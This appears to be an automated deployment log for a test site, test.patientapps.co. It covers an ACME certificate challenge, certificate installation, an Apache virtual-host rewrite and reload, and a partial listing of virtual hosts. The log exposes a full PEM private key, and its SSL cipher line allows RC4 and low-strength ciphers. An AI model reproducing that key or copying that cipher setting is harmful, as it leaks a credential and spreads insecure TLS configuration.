MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-07 08:22:42: Establishing a connection
2026-06-07 08:22:42: Establishing a connection
2026-06-07 08:22:42: 

PUT: /tmp/pkp578148

#!/bin/bash
if [ -d "/var/www/patientapps_test/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-07 08:22:43: 

chmod 755 /tmp/pkp578148; /tmp/pkp578148; rm /tmp/pkp578148

2026-06-07 08:22:43: 


1


2026-06-07 08:22:44: Establishing a connection
2026-06-07 08:22:44: 

PUT: /tmp/pkp775307

#!/bin/bash
mkdir -p "/var/www/patientapps_test/.well-known/acme-challenge/"
cd "/var/www/patientapps_test/.well-known/acme-challenge/"
cat > 1pKoXHwOxhmKDbdYfxyqlWUn6M8Nusy0gnaAwN6KU_0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1pKoXHwOxhmKDbdYfxyqlWUn6M8Nusy0gnaAwN6KU_0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1pKoXHwOxhmKDbdYfxyqlWUn6M8Nusy0gnaAwN6KU_0


2026-06-07 08:22:44: 

chmod 755 /tmp/pkp775307; /tmp/pkp775307; rm /tmp/pkp775307

2026-06-07 08:22:44: 




2026-06-07 08:22:51: Establishing a connection
2026-06-07 08:22:51: 

PUT: /tmp/pkp134546

#!/bin/bash
mkdir -p "/var/www/patientapps_test/.well-known/acme-challenge/"
cd "/var/www/patientapps_test/.well-known/acme-challenge/"
rm 1pKoXHwOxhmKDbdYfxyqlWUn6M8Nusy0gnaAwN6KU_0


2026-06-07 08:22:51: 

chmod 755 /tmp/pkp134546; /tmp/pkp134546; rm /tmp/pkp134546

2026-06-07 08:22:51: 




2026-06-07 08:22:51: Establishing a connection
2026-06-07 08:22:51: 

PUT: /tmp/pkp364699

#!/bin/bash
temp_file=$(mktemp)
TARGET=b4d585ce19a4f3515f777a21dc27e293

cat > $temp_file <<'endmsg'
78:42:82:36:cd:aa:4e:ff:36:0b:46:8b:eb:50:05:dd

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBgKFMrYx/jyq99vmDhAGwJ79MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjA3MDcyNDE5WhcNMjYwOTA1MDcyNDE4WjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAz/2wdZb9Cv99g2YhDNzUUmYpAwPTk54AOJqIJuiOLH5IxnI2ShnFDUwV
uTlWII8k+piEv4UDj38S2Cdb/hnykpkd+zcPD1lm92bI8tejZBWpTYNhtARh06VU
Qon9bSgky0UVOUjk8izqxNcmjMc4Kf0V5WJLwvk/hcJMLWX2i9SE5JzzPszRtJ8c
jQjx5HQxVVIrijTwH/Jg0N8WVQvboCgQPZnVVqSUCrlZZLX84VgpWg1g7jVk+t9x
LAzrQY/pem6FcCOqW2Sg3p6ohElHjSKLyaC++k0yDsch5d0EmkKvljpqDazM+492
joptKYWd2ytOL1n+9ZyQf2SOQgrIaQIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FEnjlZPc+pYYthxLqcsaqmNJCjleMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxV
ePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITdGVzdC5wYXRpZW50YXBwcy5jbzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8veXIxLmMu
bGVuY3Iub3JnLzEyNi5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwDCMX5X
RRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ6hLW5pAAAEAwBIMEYCIQDL
iNgSZjWzhVgahN3kbwnjYqpLgM7JmUe7xzoFZ21GUgIhAO9Q+GiP4EKxaREsEe5K
gAyxW8IJ/a3qBCS+yrKEf5i0AH4AJuNkblhpISO8ND9HJDWbN5LNJFqI2BXTkzP9
mRirRyMAAAGeoS1tygAIAAAFABpJXEMEAwBHMEUCIGprD/8OOXtg83LwzR69XRK1
t4SrcjxYggNGYiNzcqKlAiEAsAib/cZHPUtKrIaHehHiK/9Shr0ZCgVDF42gzvkM
HI8wDQYJKoZIhvcNAQELBQADggEBAAs5f4hRh45935qY/I9VdqLYTF4kelipsGTY
dJqJQ0JgWpS3lz9b5HTlkGOnaRPS9vkEHvKU7/nAXxU7mP69/ZjpfePiu8T0IiUF
A9c9iT3AqMGyNZ42UWjvqIusvhc1cgtKcgcZ7FsCVhRy9F5x19dHmfP+zEzhloy+
/gjjaZvdAb9BhpP4Jq04CB+kReIH3islQYHi9/Fa3PR4d7NTMb9ENWTOtzBQSikt
35vq0aN+ml+mpKC2b5/5S8K9B+RGINrUhiS19tvxweSdybX527GJsc1wRaz8bdbX
cCXo5dNNbKCx/eR/9WjNGVUQWBl/HtWpsAPJUqfX84rKFsNZ3kw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDP/bB1lv0K/32D
ZiEM3NRSZikDA9OTngA4mogm6I4sfkjGcjZKGcUNTBW5OVYgjyT6mIS/hQOPfxLY
J1v+GfKSmR37Nw8PWWb3Zsjy16NkFalNg2G0BGHTpVRCif1tKCTLRRU5SOTyLOrE
1yaMxzgp/RXlYkvC+T+FwkwtZfaL1ITknPM+zNG0nxyNCPHkdDFVUiuKNPAf8mDQ
3xZVC9ugKBA9mdVWpJQKuVlktfzhWClaDWDuNWT633EsDOtBj+l6boVwI6pbZKDe
nqiESUeNIovJoL76TTIOxyHl3QSaQq+WOmoNrMz7j3aOim0phZ3bK04vWf71nJB/
ZI5CCshpAgMBAAECggEABes5P09pqgt1Pe0FGcGbBTFFD4HnXncLmJDFOR47FYcO
eR887kTnd6Zno9q+2bRZIAyBEpYtcMLz/VS5aHTCk2tqEAEUG6K2rGmvZEHAs5Nu
Ovd3K1FIm2ZEDJSyso2G5oXzwaqSYVXn5Gwe+7ibn45FNj7i2wyOwzaxRkV1i6sW
bRbRRAGS+NfF6zAJ1mNDDI6dajiY/BNyedE7js35hmbdMQI9PxJBWZ7n5iMHVmEX
ou2l3ireop4NTTeGvsFLZNoOx3eO33OrBf1JDn0Y3X4dtT8VH6qywfJo+QLQkNX9
9RKbZ3p3Yv1jFG1xjCkPtt6EAmYmDLhM197t1a8AdQKBgQDukUSbsfYLJ8Hu9+OI
y2RRNq6jZztW5TAXmkgeHsFOZKaBcogSVYzncjNxJnNXGu20zul2sRaEFNxHRzVa
Svr5D6bnGJOpykTy4W+RpbUUwBFcgesMzgINpuQWEb/kgmfrZg4cw38zHIIm1rpJ
0FWtoqyafvsMIICohNHWM5cGlwKBgQDfMHI8iHftnRiljtZ6vyO4ECKBkgVgCN9P
fbu0iP053FPne/IEtjbGjlSOvYPruXQy7YVDn7aVeREJ38lu4fyN1yhN1R0zoNXD
/5zCEghGwsZY9YQ6yVl/L9wOhB4BzjQnjzhz/KQUYv7AcDnV/CzMZ2h7SNngdPmm
V6uavB2I/wKBgQCDROGofhKxbq3ybOoBUlEfsuQDO4FWPgPpaNY35JpfJVjNL5UZ
6YL/s0IFB7A9hK65Z4Tk72pBQS0390GvLkTMmMUwscBGk+q+bjcywChUg57J9R69
y/krQ+KLFjctaGgACgbH4vZxzET9U/frN7x9L16kICzJLnU8xOClaXu3fwKBgCM/
VWs16iq+epv62Oh9szhoY+qukua9v/af1rsGP2eZ4i5WprwTwsbMx5HbYDAkE7PP
SxKI8J7ehdBXZUp7qhUEe7r/AyOaLOhNQAZuLpxuOkDmVUGrdtTdTBWGy+5hEF+H
ANVgetE1aSIfFyMyNij508hUkwQdtSeOBO3k840lAoGAeF944sPFkFeGoQKdp0HO
j/dewgq+SgkadCHUY6A1Whb4gy9Q34SkmFJIGggi/SuX2BEcCQXdqQPRrLSD94Mg
d1WvupQXopaXNBtmGEteasKtHuArXP9D5A9RivV3N3fHf9MC2UFlivuL5IIrT93H
gwGUidL/+4pn5hRrXSFApmE=
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-07 08:22:52: 

chmod 755 /tmp/pkp364699; /tmp/pkp364699; rm /tmp/pkp364699

2026-06-07 08:22:52: 


dir=/etc/ssl/certs


2026-06-07 08:22:52: 

PUT: /tmp/pkp417134

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_test_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-07 08:22:52: 

chmod 755 /tmp/pkp417134; /tmp/pkp417134; rm /tmp/pkp417134

2026-06-07 08:22:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_test_co.conf 43

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-07 08:22:52: 

PUT: /tmp/pkp882179

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_test_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_test_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_test_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_test_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_test_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_test_co.conf= 1'
fi


2026-06-07 08:22:52: 

chmod 755 /tmp/pkp882179; /tmp/pkp882179; rm /tmp/pkp882179

2026-06-07 08:22:52: 




2026-06-07 08:22:52: 

PUT: /tmp/pkp334556

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-07 08:22:52: 

chmod 755 /tmp/pkp334556; /tmp/pkp334556; rm /tmp/pkp334556

2026-06-07 08:22:52: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-07 08:22:52: Establishing a connection
2026-06-07 08:22:52: 

PUT: /tmp/pkp231456

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-07 08:22:52: 

chmod 755 /tmp/pkp231456; /tmp/pkp231456; rm /tmp/pkp231456

2026-06-07 08:22:52: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
